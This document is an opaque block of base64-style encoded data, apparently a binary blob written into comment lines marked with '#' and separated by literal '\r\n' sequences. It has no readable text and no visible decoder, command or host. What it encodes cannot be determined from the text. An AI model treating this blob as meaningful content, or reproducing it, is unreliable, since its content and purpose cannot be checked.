BL1n8AHhO+pfCT4PfTv9KlP/6aXY+k6i0Unu8c5q1R6LSRl5yml0/2Ky0kyN5fIvSQV4FXpK+Vemk+qw/zdYnSekib+X5JylKJm6\r\n# /gtPsfClJ8cjE+B6ePlnU79Bpdr/K9AlweHqK8AXwR+mpov5GKxsP6cIDyZ6U/7BWln+60p8cQPYiP0j2Jj9D9kG7zWxl/S9d8SM\r\n# vAEeD/cnvg2PB4yz+PD1DCSSvAn+ZnqlMtDg5PVuZQuVt5OXlKtMongXOTM9VZqBpPtiuBHF3j/ft0vg1jefPpnH8bFdCqDwcL9u\r\n# VMPIIcjT5PnL38ux88oKlvNVSPF5yiuQCybi+25UEKq+wFfNPlNa3SVrfFpf22a60W7w9PU/0D+ai9Hyli+I1rWw+KxJx5sr0YsW\r\n# ZZc2/VMTrIF6bXqp4ZJn5708vc8n/+/Ryl/yOplcqXpi+51G+flWKNy1/tpU9v1Ol+LqUV6WMtOR/PL3KJf/f02tc8v83vVYZ57L\r\n# 8bml7m77cytrPNB5/mL7qDDveM43XV03j8eJuJfD/szzPM5j/xP+RfugZ1/Lx+o/pO6V4/C+u9WHztS1jtzLl/zP/+/8f+cnlP3O\r\n# GbS/TQWfY/tH0u1J+3fWZ8T/q85FrenX9Gbb/NeM4Xs14+hnX7VUmLf/NGTYfmvHD4Ksy9gj/BvawGPfve6TtZRrHr+l4ySmSCyR\r\n# fPONq7TdX95V8k+RRkh+R/DWVF0TjaSrFQ8mzydEu7b9HicU4zR97lFpuep4B2qfJ4oEZ+xQl2/TgjG+UaWjb+zz/OiWIO8L24W8\r\n# sfZ0STf70N3a964CSSY7n6b9V9tLyieBhGd8qHRRPBd+ecVDxyUHnctcrE8klPP13SmwOLr+P+3ulifwD9yGllXyGu0Gx5eLyXdw\r\n# /KP3JvX5nPqz4kz25f1Rm5OLyg7kblQSK38F9REncjn7wd7Y+R5Xa7Zj+SR4/qrSTn+PxY0pYHqafQ/bYgV5JDtyB6T8n1+ZTe/D\r\n# 8jikjC9A7ebxJCSbXg8dkNCkJ5GbwfRk/K7nk0zz+ixJdaLbnsIzjSjF39/n9CaW+0Ny+O+NOKC1o27+wfGDGCaUD7ezi5Z9Qusj\r\n# ONviz5YTiLML0nm0s/a+KJ5o/39G1+VfFi3wjT/+r4kfph/L0LUoAxe9oY+lblPHkh3n6FmUipZ/O059UplF8Lk9/UplFXsrTn1R\r\n# CKP1Knv6UEkrxdTz9KSWc/CVPf0qJpvRpPP1pJZ7iO3j600oiuYqnP61kUvr9PH2rUkzxw21s/mxVqskn2lj/b1XqKP1Z8GMZZ5R\r\n# Gil9oY+PvN6WZbP+D3a/7TWmj9Dr46YzflU6KX/MHS9+m2IrRw3j6NqU32jaep/9D6U/xKTz9WcWb/CpPf1YZT+nf5un/VCZSPBw\r\n# 8LaNdmUJeA54JXkjpt4Bfy/hLCad4HnhexjklkeL7waHgXIqfAIdndCjV5PY/WHt2KPXkyxRvJvc6C/+DO8j4fYUORSlB9z+L9iQ\r\n# PPsvWr0MJII88y7ZHhzKee4NtHDgaPM3iDRn/KsHkR3n8vBJq8YaMC0pUiTkevsi4qARVmHbEdykL0bYnIH1yxiUlthI9+SyLX1L\r\n# Kq7A+r4MzMi4rtVXU3mfZ+Lqs1FdjeYvBuRBXatDvcV9RgrnX2KK4bWo52hkLLshwU9vIm8leO5kjbBngUvCknZhfGSsvw67OwDi\r\n# v/7mtqhqyE+vTAPFvMjQ1inyM26nmW/xdRk+1g3wC3Jhxleq1C+t3GvxLhq76ca+w/XmW7Y891HHkzrNs/+qhTtxlLr8/xUMNsvj\r\n# c1r5qGNntT7Z9+6kx5F5/sudZ+qlJ5H5/svz6qcVk7z9Zef3UOvKwP9n5RD+1g3wf+FTGNapnLfpJ8B8Z16oTas34Pxn91ehabL8\r\n# 3/mT3t/qrmdwf2t4D/5dxndpEXvMna4/r1TaLlcwBqu1r03qml+pJ/hJ8TeYNqr/FN2QOVIO/xvLx+egb1U5yKsR9Mm9S+++m9YH\r\n# 4yMxB6jiLx2QOVsMtvi/TV23h3u1Wydpj6zC1fTe2Pz7fPUIN2YPG57tvU/fuMdPPSRupRu7F9a//k43PUWo9uflP1l9Hqc3kdop\r\n# 770O7tWN8JHekrQ/44cxRajt39/HFGNXjGxwP+Dz8GLU/2Q/S27aMUX2+sY6vAHXSfubu5+HH8vdAWHl3t6ObyY+An8wcq3rXoZ8\r\n# GP5d5lxpeh/mz71G8kjlOjSHPhHgwuJwc0s7qN07tIoeD50Hc4wC2L7t/tBA8/gDmvxHiyzLvUWMongqOACdSvAS8Gtx6ANubXfZ\r\n# fm3mvGvwtxndDfFPm/WoYuQG8GRz9LeZ3up21z/1qNflCO+vv96v15Kv/stm2QfoJB9EDwdmZD6ipZPb8f0Hmg2oxN15fqwLXo51\r\n# jIP2+zIfUxoO4ffB62UOqVz0ar5c9rPrVY3vc9xdrn4fVIDJ7HmXu5ofVhWR2vnsQ0keSJ/7F5vOH+XtlzNP/wnhSvVmfg5kPq+X\r\n# 11vInqLbvMD1eT3yUvxdm1udRtf931v70qDqJ0s/5C+Oz0Ly9B2c8qoZxr7GFQvxI5uNqG/cG2wfgE5lPqOO/R38GPp35pBrJ3f1\r\n# 8ziQ1+ntrf5yk5lv8V+bTahOm58/7Xch8Rp11COsTB/k5s6apwdwRzi1gA7wQ47YscL+s59XaBkxf8Rd73+RF1fkD8zrbPvDNWS+\r\n# qCy0eljVLbf4B0//yF+sfQWrrD5h/G3uAa0uQ2oFxG3veakzWa2roYeo/fPu9pk780TqeXlMjf8T+qZ2z2e6B9M1kT/CDYGcj+gb\r\n# wE1nBan/yreBns+aok8j+4BngGY1Y33vAr2aFqMoRsz3nZs1TI49g/SecY9trvpqJtj0PXpQ1Xy0nzwUvy1qg7iVHnGPP072tJh5\r\n# FrwFHZL2jRh7D/NLOsfZYpMaT8Xs2i9RUcv451v8WqcXkneCorEVqHflb8KfgZvKvvH6L1A5y5znWnxepShP1z79Z/1yk9icPIvu\r\n# Rx/yN+Y0nTyJPIQeRg8jzwGvBC8kfkiPJCX9j/WPJGeQk8tfkfPJxci35ArmBjO9bLVK7yM4OjHv/hL6BHEi+rQPrG0x+ihxNfou\r\n# cS/6Q3EDeRO4kF5DZc0fMB6m88eST5CDyP+QosvYPOpPs+Q/mV0++mdxBHvsPrq/XL7Q9yIHk18kh5DByLHkNlVdM3kxuQtv+3gS\r\n# zCFufZoyXQPyLrHdVX/IBsj/5OHk8+Tx5Itn4Fz2N7EsOIgeS55OfI4eRF5CjyNHkWPI2ciJ5NzmT/Au5mHyFXEvufx5dz73ONgq\r\n# 8FexznHmF85Hz/P0ddSJ3hPNlcHrWYnUG+V3wdnAIeTW4GJx0HPP/4jybrxarmRTPOs/m38VqMcUreDxUrab4NzweqtZh+bi/y1q\r\n# i+p1gXmP7EeK7s5apMdw4f9dlvaemom0nId6QtVwN+RXz/x18LCtCXUh+g7+vEKGGcXfPnxFqNHeE7d/z7PwuQu2g9Hi96gO1C+N\r\n# OWyer3weqswXjPTvZ/LRC9WjBuCfYtmWF6kXxGztZeZGqD9o2opPNx5FqABnn95VqGHf3/nClmsq9wRYA6Zsh7n0S87sf/FvWx+q\r\n# 0U1hflr4DPPG02V5dWavV1tPW+seofq3oJzvR08gzef1j1CDyW7y+MerCVuv6xahR5PcpHk/G87kYNZV7he0TiGvZMWpXK/an9WD\r\n# 37LVq1xlMj+fT61TlNzSeT69TPX4zt+fOuFg1hHuDMx2W98yOVRvIezvZ+VGs2kT+leId5PPg/mDld8y/1wW2vuvVSeQBF9j2W68\r\n# uJA/j8Q1qNPkuHt+g5qJtj4JvyI5TbfzfbpV5cPYmtdoSH579ldpm8ejszWoneQp4XPYWdWSb6Qezt4r8mB/LTlJDeLzWbQb4mex\r\n# tajE5GDwjO12N+QO9GByUna1GnmWOtUWB52XnqalnMf7pBdZ++Wot9y77NvCi7Hx1L3f39aEitfUs9jcsv0itbkfj+pWquedwvBW\r\n# Cw7IrVeVv0yuya9Tgv7H/7QJHZ9eqvf9BN4LXZe9RM/9FnwNvyt6vFpO7wGnZB9Qucs+LcD6c/a3qdR59Dbg6+zt1Fvlm8J7s79X\r\n# w89b+8YOaaPGi7B/U4vNYfzy+bFQbyXg82qh2cOP3y3/MPqKO7DSXP7P5qDqh07r8T+rCTuvyP6kxnebyP2f/rNZblj+Z/Yvajra\r\n# NgPq2ZTerIRcw/Vjw39nH1cwLOJ4ngLuyT6peF7G/TbnIr1+pPtwRziD2d8spdSTFF15k/fO0GkB+/yLrn6fVQHIUj7eqE2n5dTz\r\n# eqk6j+Jc8/zOq53+4Pji/nFFD/7Ou3xm14T/r+v+mtnCvsGXA8lrOb6p3F7oUbOT8rk7sMtffExyKcTq+PqvGXzJ9Ke5PNRPN5+O\r\n# zce1qPtpWe5HN3+1qA/kg9zl1/GVMz95/uRDXoU4gs/dfLoGnoG2HLzL/o4aS2ftYl+L+VePJJyA+IOe82kBuA9+U06l2kNn1iVt\r\n# yLqhBV9Ds+sTwnIuqr82N+x9IPyrnPzWIbIN2GZvTpUaT2fWLyK2X1C4yu34xIvmyWu3mJvK/L+eK2u5mpn8ox+bw7oG+6j/2foq\r\n# bYxaZPa/2eE4PR2S3If4UOJV8I/gZcCt5GPh5sK8dPYbb7oglP8itONrIT4FfylEdCxX0tP9Yf3A4mtF8e83OcTh6qxh/FeLzcjR\r\n# HIPca2xvgd3KcjkkYd87/j/Wvno4Zqrn8zriejiCLQ3N6OmIpP/a+UkROb8dei1fnGI58B+aH++e+jnKHtT59HVM0qz0d05ym43L\r\n# 6Ocb1dLP072sdE3ta01/rqLP4q5z+Dht70UXsHwc4nNzd+/cBDk+Kh/3Hjg+9HF4U/+g/dj3Jy+FLcfb7CZOTb3CMpDj7/YRe8Tc\r\n# 4xvWylj/QoeimM3NudHi6+CaHD3f3+eogh5+O7R0D5e3IGeSIIX8Frs+51VFuoLPAp3NucyS5o8vBHTkjHXXkfeDLOaMcez3RR8G\r\n# 35N7tCOuH/gv8bG6gI/Ma5nW2K+DZuRMcjRZH5j7lqO3P09P+4zlHfX+z/km5zzmSrsP20GEeyM593pF5HW5PNm8UgIuvs7bndEc\r\n# 1xbE9pzvqKD4K0lfkvuBooPi94FpwM/nRLrb8DEcreWoXW36Go4PM7vcejHvR0UVmz4ef3/yiw3k9ru/LXez660yH//W4fvPBdbk\r\n# vOcZ5oT8EN+a+4ph1g7U/BzuCLW7NDXaE3MS3l+3zLrZ933T43YzO5J7jGEeu5g5xTCMf4p7rSLzZ2p7zHF034/qz5wEOxs1zKIO\r\n# wPx3n6zfP4TEI4218/d9y9Kf4RR5/y+FDceclFp/v8KO45yUWn+8IoLj3JXY+tcAxnuLDwedyFzgmUvwuHn/bMYXiD/H4245Zg8z\r\n# 1P5/7jiN+kHW8hTqcPrj8JDaPbw91ePjg8s+DHWAvir8C1rcvcfhQPATsCR7pY+bvtX2pY6LFdVlhjiA0f7/RZ/v7jnAfc/7YnxL\r\n# uiCW/e4ldX1jhSKXyIsG3bo905FJ5a8G3g8spnggeu/1DRy3F08HjwfU+1v74kaOR4tgfP3K0UJztxyZsX+loo/ge8BPgTopjf2Q\r\n# /e0bbi/fHKEfvwdbt/bHDc7B1e3/s8KY4mw8Pxq1y+FL8KN+eqxz+g832eWb7akekxa9uj3G03oLLn+T9IdbRfgsuf5YvH+vousU\r\n# 6/613KL7W+W+9w8MX4+d5f9jg6E9xt8usP2xw+Pia5c3fHuco9rXm97mj2iW/zx11FO91mX3PeaOjgeLXXmbfc97oaKb4IB7f5Gi\r\n# l+Ege3+TooPg9PJ7g6KL4BB5PcDiHYvwZHv/C4TEU46/y+BcOL4q/c5kdf3zp8KF4+GW2//3SMZLin/D4V44Aisfz+FeOwKHm+i7\r\n# ZnuiI4d5g2wrxT7dvc3jfypfn8c+3pzsmWOyIz3Ak3Yrjn11f/Hx7psM5jPoPLJ+4PcvhMQznq2pwOtib4sf4+VWWw7c7/Tm2flm\r\n# OkeRvL2M8gLv7fDbLMYG7+3s2WY7QYVg+fp8my1GPy9sOw/L5UF7HMLO+ZduzHRP8+Pim53cLHZPI+LxMoWMGGZ+vKHQEkfH5m0J\r\n# HMBmftyl0zPfD8fk7lHdwe6EjjOL4vE2RI9IP1+fSZVZekSOazK4HM8eS+1xBJ5AHkZP8zPof3l7kKKb88fnkMkc1GZ/3LnPsJeP\r\n# z72WOejI+b17maCR7k5td6lvmaEXb8PnzMke7xUngTjI+b17usPF/u9VRV9jxkml2XfzEdmEd18c0todpbA/TfaT0d0t+So43ufp\r\n# ViLea5avvgM9a6rPadfn/a/07KL35ez3dpt/72V4pzH6vx563Sxh/7+gbafn9Lsv3yTvgsrxX3iFp+WPS8k0uy/vl/eyy/J15LdL\r\n# ybdzh9H7mhbg/hNn7Qg/nmV4L6/9k3lnhreCpee3C23n8nDD7nsHMvA7h/RCfnfev8JErrLxO4Qvg+XmmNTivCM27INwPHJHXJTw\r\n# EvCrvsvBd4LV5V4QfB2/Kc9O6/Tx4c14P4bfA2/IU4Q+5NeEN4Oy8q4TTwEV57sIV4PI8D+HvwDvz+gj/Af4m7xphdr8sNK+/8BW\r\n# IX4gbIDzQzdV3SX5B8nvdHs7nv55fgeduHqA5yVlkDzJ+/2KA1p9cQXFv8m6yL/kQeST5BPggLB9AxvtbA7TxZHy+foAWSMbn6wd\r\n# oE8h/UX0nkf+j/KeQe/fA/GeQ2XliF8SDyfi8+QBtIXlgK+YfRr6Nlo8k398D84/uXn/KL578LMUTyS9TPIkcQvllkpdR+nwy7h8\r\n# GaOVSe9aSn6P2qOvOn9xAXkP5NZG/JLeQM8kd5BqyMgJ9jNyb3E72JLvZ0T7kgWR/8j3kceTJ5EByMHkieQl5CrmZ1ieIHEXxEPI\r\n# lioeR11M8mozfoxmgJZC3UDxzBB4P5IAP5UF7k2vAR8DVI8zjkeY8L23ibbi/we+pDdSm3Gbdv92kzaA4ft/sJq34NjweOAT5/Z4\r\n# 3SOs/En0cDOefWsxITI/fbxukdVG8HeILkn00r1G4P1cUN9tfeYM131EYv457iBY7CpfH763doiVanAQuJuP3xny1TjJ+T81P6yL\r\n# j99T8NMUfjd9T89N6k/H7b36apz8e7+D3loZr/THuxO9/Dde8/K3HK8M1HzIerw7X/Mj4/u9wzd/fPJ7ozBuuzfC3tuftWpAlruy\r\n# 4XQvztx4vjdLCyXh9fJQW6VLeKC2ajN8HGKXFkrdTPJ68h5xgKa/PjlFa/9HW+ozWvMn4vcPRmi8Zv68wWgsk4/cfR2sTR1vrM1q\r\n# bQsbvPY7WppFnkGeQ8XuPo7UgMt5/HK2FkPH969HawtHW7TlaixyN/WUE9I/TSaO1TEqP33+8U8snryOXk/H7j3dqtWT8/uOdWh3\r\n# lj9+/ulNroDh+z3KM1jQajw/vgfK8dozRWsiPgIeA20eb7Xn7jgCt/53ctqch7pd3txZ8p3X5+7X5d1qXv18Lu9Nc/t4dD2hJtPx\r\n# 0iPfJC9Qix1iXf0yLHmNd/jEtfox1+ce1ljFm+Re3P6EFBFj772RtXIC1/07WAsn4/v9kbSL5RvKUAGt/nqzNCLBu78laEBnfR52\r\n# shQSY9Xl4x2St2qX86dpel/Kna/Uu+U3XGl3Km641W/KbtmO65hxrevaOl7WRY3G+YOdD03bM1vaOtZY3T6sbay1vntYw1lrePK1\r\n# prHX952ktY63rP09rG2utzzytw1L+oh3ztGl3mV6aukhruAv7E34/JFRrvAvnE3w/fok2/m6M4/dAlmjBaHpffok2/27reFuiRZL\r\n# x+yVLtGhyKzmWjN8zWaLlUv74/ZElWjEZvy+yRKsm4/dFlmh7yfg9kaVaIxm/T7JUa74bx9ts6E+9UpZqznG4/3gXHLljqRZ+D7Z\r\n# /FHg1uO0eTL8R/PmOZdree9HZ4JQdYVrv+9C7wGuT39Nm3YfLNypsf/Ge1nQflo/fm3lP63yAeVcPfB/+Pc32IPpUMxuf72u+ZHy\r\n# f/31tFhnf51+uxZDxff5wrZyM7/OHa85ANL7PH675k/F9/nAthIzv70doCYFY/xaF7V8/0PZSHN/3/0DrIOP7/R9oXeTlZOUhXD/\r\n# 83s0HWu+HrPP3B5onxfF7Mx9oXg+Z/Wv7jhVa1EOYH77f97EWTcvj+4qrtFhaHt9XXKWlUvyWZvZ+4Cot9yFr/1+lFVN6fF9xlRb\r\n# 6MBrfV1ytdT6M26ddYcdzn2jRj+Dy+H7iJ1osGd8H/ERLIOP7f59oSeTV5ExyPDmfnEIuJxeQa8lfk+vIDeQG8nFyE9qG7+99orW\r\n# Q8f29NVobpcf39dZqHRTH9+XWal1kfF9unaZMQOP7cuu13mgnvi8Xp3mSB5K9KD2+Hxin+ZDxfc94bSSlx/dLNmoBE8ztuxMcxr3\r\n# B9h+0d82OjVrwo+irVTdb3Y4vtPpHcX73BR/Zkaj5P4a+G/zXjhTN+TjN/+Be+VlaIHf39eFsbRr3breZEPfIz9aCyAvA1+fnavP\r\n# Jq8DD8gu0MPIm8Oj8Yi2KnMldqsWSN2bYbPfkl2uJ5EqIP5W/U8skfwt+MX+3VkxuAb+Zv0+rJX8Gyy/Or9PqyR0Qj8w/qDWR3Rx\r\n# uttj8Q1qrpbwv83/QOsgaxNPyGzXbRLQn9zGtN3lHJswH+T9r/ck5Gcy/aD7k6RCPzW/WRpKTMphPaOPIZeCK/BZtAnk39yltCvl\r\n# mKG9Pfqs2i+zH/ZsWQv57u832XX6bFkoOgPjR/D+1SPKD4NP5HVoM+QnwP/kXtQTyi9xdWip5DvhK/mUtnxzKbXNWk1eCC/N7OOv\r\n# Isbz97M5G8lfgngWqs6W7fcDXFDid7eS9YJ+C3s6uidb+6eFUnnB1b8mekm383271mMPNxZMyXeOnIH5HgelO8NiCq4XZ9htf0Ee\r\n# 4twb9qWCg8I3g2QU3Cd8BfqvgZuF7wKEFPsJPgd8vGCL8AnhlwVDhOeBtBXdy2z12u+HydwljfcYJY30mCGN9HhfG+kwUxvZ4Uhj\r\n# X3zSu/1PC2F6TyN3tO0mq3ySpfpOl+s2U6veyVL9XpPoFSfULkur3mlS/16X6vS7V73WpfsFS/RZK9Vss1S9Uqt9SqX5Lpfotk+o\r\n# XJtUvTGzvcMj//GbTH4Ivxb0n/Cn4lpz3hePB+QXLhdnz3hUFEcIZEP+64APhXRqrb6RL/z+/2fQ3ED9Y8KE5XrijpPqtluoXLdX\r\n# vE6l+n0r1i5Hqt0aq3zqpfuuk+sVK9YsTPgOO3LpR+E9wU8EmYXZ8dqIgQfgCxH8v+FL4Kqeb7e+Cr4QHgC8WbBZmz29XbN0qjL9\r\n# fkCLMzv/dCtOEh8LyboVZwqOdrP22Cz/uZO2XJ/wiuFfhDuG54KsLC4QjwNcVFgqvBp8oKBJOdLL1LxHOA99UWCr8NfjWwnLhevA\r\n# dhRXCp8HnNtcI23qy+u4U9urJ8t8lHAAeV1gr/Cz4ocLdZnvuYttvr/CILNbf9wmz9/eeKDT9Ns//G+4VHng9fmrhfuf8J/D4BZ/\r\n# n+dYZScbnfb51JnLj80yzCg9K5ddL5X8nlf+dVP73LuXPLjwk5XdYyu9HKb8fpfwaXfJ7u/CIiC+D+HuFTcIfgD8r/FV4A3hDYYs\r\n# 5XsBfFp4ULgGnFJ5y6R/ZhaeFv4V4UeEZYXY+Vl34u3ALxPcV/iF8Fvx94Z/CV8A/Ff4lbFzlZmst/NvsD+C/C/8RvhXsVnRBaq+\r\n# LUnv9J7XXf1J7dbm0l7PokjT/2Hp2G+cfN2Gcf3oI4/xjF8b5RxXG+cchjPOPUxjnH9M4//QUxvmntzDbP/Qtche+G9pjQJGH8FP\r\n# gQUVXC88D+xX1FV4B9i/yFF5/FVuffsLsedRxRdcI43xwnXDiVaz+1wvjfGh6G8QfKhogXAGeUnSjMG6vm4Vxew0Sxu1lGreXT0/\r\n# r9nq5aLCIN0D+IUW+wn+ClxQNk8rzk8obLpU3XCpvhEt5EUW3Se1/h7C9l5stumiUMHv/KLbIX9ijFzv+Gu3Svu8XBAiz56Ruybl\r\n# bqu84qb73SPW9R6rvvS71TSi6T8SH9WL99wFhf17eg1J5gVJ5D0nlPSSV97BLeduKHpHKe0wq73Hhe8B5RROFH+3F8ntCSv+k8DO\r\n# 9WH97SngmuLTI9FvgmqJJZv/m5T8tHAXeWzRZeC3Pb6rwRp7edDL3s1L7PCe1zzSpfaZJ7fO8S/t8XzTdnE9gf/5T0YvC7H35yK0\r\n# zhTOh/JNFLwlXg/8qekX4B16/14VPgN2KZwv/Bu5ZHCz8N/jq4jfM/tkbxnPxm8I3cc+Ryg8RHtqbrc9bUnvMl9pjgdQeC6T2eNu\r\n# lPW4qfkfK710pv8VSfoul/EJd8vMrXiLit0N9xxSHCT8Bvq/4PeHXerP+tVzqj+HC7PspI5IjzPnvJNs+Hwi/CctPKF4hvAz8dPG\r\n# HZv/j7bVKOBY8o3i1cBp4dvGn5v4APL94jfB3fPlYqX3WS+2zQWqfDVL7xLm0z7LieKn/bZL6S4LUH78w+xfU56PiL4XbuL9yaY9\r\n# PixOFL/L6bxY2dOYtUv/dKjxEZ9sjSXgUeENxstSeKVJ/3yZtn1Rp+6W51O/L4nRpfTOEH4HyUoozhaeC84pzhNnv95UVbzfn65/\r\n# Z8895wq9D+l3FO4QXgXvF55vzD3hfcYG5vwW/lFMk/AVvn2LhdO4S4SJwQ3Gp8E7wseIy4f08Xin1lyqpv1RL/cU09pcal/5ysni\r\n# nlN/XUn67pfx2S/ntEW6C+v1RvFf4DPd+c34CXyj+1izPcLM54g8Ke7Lndkvqpf3DD8I3GGw+Pyw8yGDHK6bZ+Zh7yY/CwyF+bUm\r\n# j8Fjw4JJj5v4GfGdJs7l9efyE8Hvg+0tOC28GP1Hym7m9wM+XnDW3D69fu9R/TWP//Uvqv+ek/vu3OX7Y+hV3mPmBRyT/I+X/r5T\r\n# /eSn/Tin/C8Lse1Jn4i6a4x3yPxP3n5R/l5T/JSn/y1L+V4TZ93JuybFdZS1vRLLbVdbyzm3uIfwP3552YTd3ZkUY66MKY30cwlg\r\n# fTRjr4xTG+vSU6nOVVJ9eUn16S/XRhfuCXyoxhPH5Qnepvu5SfT2k+l4t1beP8E3urP/3FR7qzuKewveBZ5f0E54IfrvkWuHZ4Iq\r\n# C66T6XC/VZ4BUHy+pPjdI9Rko1edGMz84fwgr8ZbKu0kq72apvEFSeT5SeYOl8oYIL3dn+d9ixvn+w1cY56ehwp9C+siSW4UTeP5\r\n# +wpk8Ply4HLy65DbhPeANJXcI4/GvvzDOV6Nd+td1hXcK4/w6Rhjn1wBhnF8DpPqP5e6er78quUtq33uk9r1Xat/7pPYdL7Xv/VL\r\n# 7PiDcxNpj64PC7Hse44oCpfIfkcqfIJX/qFT+Y8K4f35cGPfPE4Vx//yUMO6fnxbG/fNkYdw/PyOM++cpwqdgfdJLpkrbY5q0PZ6\r\n# Xtsfz0vaY7rI9ikpeMOeLZrb/mSl8GcqrLnlJqv/Lwr094Hyl5BXha7hfFfbmDhL2437N7G8ebPu9LnwvuL5ktvCT4MaSYOEXwc0\r\n# lbwiHgFtL3pTaY47UHiFSe4RI7THXpT3aS+aJ+Lu8vguEl/HjybeF8Xj8HXM8e7D8Fkrtt8ilvRpLFru0V2NJqHAM+L+SJdL6LJX\r\n# WZ5m0Psuk9QlzWR976XvS+oRL6xMhrc8H0vqskNYnUlqfj6T1WSmtT5Q5/nh+H5v7Gw92/WqVtH1XC6eDjdJo4WrwgNIYc3yDh5W\r\n# uF24H31n6uVm/q91sgaVfivbwBU8u3Srit1/Nj+eFx4KfK00WfupqVt9tUvulSu2XJrVfutR+GVL7ZUrtly21X47Ufrku7TerdLv\r\n# UfjuE50B93yzNF15xNZvvC4RjebxIeBuPFwvv4Otbas5/PF4mtV+FiB+8mpVfKYzn71VSe1VL7VUjtddOqb12Se1VK7XXbqm99kj\r\n# ttVf4J6jf26X7pPn8G3P+hvjS0v3CF8CDMw4I4/3vg8J4//t7Ybz/fVgY7383CuP972PCeP/7Z7O9+f3v48J4//uEMN7//tXc3vz\r\n# +90lhvP99Whjvf58Rxvvfv5vzL/cf5vbi97//FMb73+eE8f73eWG8/33JHK/cV8z+x+93u/XqNt7/tgvj/W9VGO9/O4Tx/rdTGO9\r\n# /9xLG+9/uwvh8RF9hfD6ivzA+HzFAGJ+PuEEYn4+4URifjxgsjM9HDBXG5yP8hPF5jduE8Xrr7cJKH3a+c4dwX/CK0lHCeH3VX/h\r\n# GiPtsH2Pm14cdn40VZu/z5BXfJfw4xFeXjjPrA44tvVeYHa98UTpeeD7Ek0vvF14Nzip9QBivpwQKJ/Zh8+NDwul92HzwsDAdLwn\r\n# X8PSPCrPrJyWljwnXQbym9AluNp8c6cPmk6dF/I8+bPxPFnbr62bbX/qM8NXghtKpwnj8+pwwHr9OE8brR88L4/50ujDuT18Qxv2\r\n# padyfzhD1ZfvTn0tflLbfLOGRfdn181eF7+N+Xfhh8JnSN4Sf6svyf1P4xb6sv8wRfgf8V2mIcDj3W8Ls/uuF0reF2f3XC6ULpf7\r\n# 4rjDe/1gsjPeDQ4Xx/sASc/2gvCulS83xBHaULRNOAxtlYcKFfdn55XvC7P7uzrj3hXF+Nv0NpL+mbLnw0b78+MTsj3x+jzDbhx8\r\n# ffGCuD6QfWLbC7I/8/k+kcAfEh5R9KKx5svWPEr7Wk7X3x8I38fgq4THg28tWc4eDn/Zk73dEi/hscECZ6aWerPxPhOfU22zjyz4\r\n# 15zeITyj7TJgdTz9Ttla4COIzyjaI8lh/uxD3uYhPBDeWmMb+vFHqz5uk/mwa+3OCS/6vlX0h5Zco5bdZym+zlN8Wl/Exv2yrOV6\r\n# hP87emiJ8wz72vUPTrP8u3JrWq5bfr+5+Pz6rV73FH23L6tXMXTsef28xh+rf/fuXOZTfBu9lkGxZWa7wV+AVZXnCBeDPygqF68G\r\n# fl5WK/Fgp28oqerW7PC9V3cv/SXx+bydsn9yy6l655F/ARWU1vbyeQl8AV5Xt6hVE9uznZtsHbiX79WPL1/bymmR9/u9r0R4s3lB\r\n# megz4p7K9wiz/U2X7hVn+bWV1vUZOMuvbK/7bXoFo22MQ7xF/sFco+QVyHfkt8D9lB3s5n7bW56DoH6sh/l+Z6TjwVeWHhDeDryn\r\n# /UdSHlTeovEnEWXnDyn829+f92PtlzcLl4FHlx839L2zfe8pPCrPfE72n/JS5/4D0D5Sfdum/T5b/Jsz67+WUP6T+e9al/z5bfla\r\n# kZ89rziz/0xzfKqvfeWH8vkun8JF+7Ppil8jvV/CS8kvm/qsfO368InweHF7u1rt7eeUa2F+Xq72749dew+bHq4QHg+PKTY8Bf1W\r\n# uCz/E018t8nsenFlu+g1wefm1wsvBX5dfL5b/DPxd+Y3CX/L8BglnSK4G/1xuuo7HfUX+x/n6+Ip4G48PF7Zd62b7rdx0r2tZ/A7\r\n# hAZL9JI+XPFHyNMmvWszq9zb433IzHgE2KsYJr+P1e1B4C19+gnC25ArJ30s+JflfyVp/V7tLHiJ5jOTHLGbrNx08sMKMv8Xjj5v\r\n# rKzkefEuF6RQef0q4QPLXkhskn5R8CXx7hek+1/H718LDJAdYzNZnAvjeCjP+LHhaxSzh2eAlFfNF+kXgzyqWCn8K/rzifeFN4C8\r\n# rlovlc3h5EcL7LDbHtxnH8f2BMI7vSGEc3x8J4/heJY3vz6TxbRrH91ppfG8QZuM7uWKDNL4TRJyN74KKr6TxnSSN71RpfJvG8W0\r\n# ax3eWNL6zpPGdJ41v0zi+i6TxbdpP8njJEyVPk/yqxeb4NuM4vmuk8b1XGt8HpPFtukLy95JPSf5XMo5v0+6Sh0geI/kxi83xbcZ\r\n# xfNdL49s0jm/TOL4bpPFt+mvJDZJPSsbxbRrH91FpfJsOkMzGd02FaRzfJ6Xx/Y80vq9I49uud6dn4/tYhSKM49shvE/yIfCJCtM\r\n# nwWcreglfZN8VquwrrF/Plr9W+FbJj0meKnm25NDr2fGy6VXc/YU3cl8nnM59vXA19wDhA+BFSV7Cx8C9KgfqAU/j+yz4fp2PPp6\r\n# Mv2fjo0942jxevL7SR59Fcfy9mSH6fDL+nswQPZx8J8VjyPj7M0P0zKfN941sGUP04Mn8fSye/82VQ/Soydb8h+rx5PvJqZOt+Q3\r\n# Viydbyx+q7yXj79kM1RvJ79LyrWT8fZuh+pRnrPUZqntMMeszvHKo7m9xQKWfHoO2tUL7PVA5Qq+dhu9X/Qd+FKw8jzYGMI/UA8k\r\n# 3DeDHG/r8V9F3gJ+uvEMf/xr6AW5/vf519GTwC5V36oGz0S+D36q8W88kzwcvq7xX9wxGh4M/qLxfH0eOB6+tDNSDyDngLyof0X3\r\n# fQOPvkz6uTyCXQjyt8gm9lVwLLq2cpEe/ia5n9a+crNvmmP1hX+UzevwcbD/8vfCpeiL5FXIqeRE5l/whuZgcS65G2/D3vafq9WT\r\n# 8fe+pevMcrM/PUJ+c5Kl6O9nm5Wbrmz5V3xuC7g0+VDlV95mL+ePvj0/X/cilZH/yd+Rx5BZyIBl/f3y6PnGudTxM14PmWvvfDD1\r\n# krnU8zdAXWtKfqJyht1l8pvJF3XMepsffG5+pe5Hx98Zn6j7kF8h+ZHzfe6buT8b3zWfq48j4vvlMPZCM7wvO1CeS8X3FmfoU7hX\r\n# OAV5uPP0Mim+n9PPJe8gN88zx0F45Ux/5Fo6HW2H5/ypf1se/Za5fj6pX9PkLcHn8PbA39TC0DX8P7E09kuL4fuGbeiw5npxETiH\r\n# nkwvItWT8fbc39YYF1vV9U29aYN0eb+rOt7F/+EN9r6l6U/d7B30/+MaqOfqUdzA9/h5biB5Ext9rC9Hnk/H34EL0VLQNfw8tRJ+\r\n# 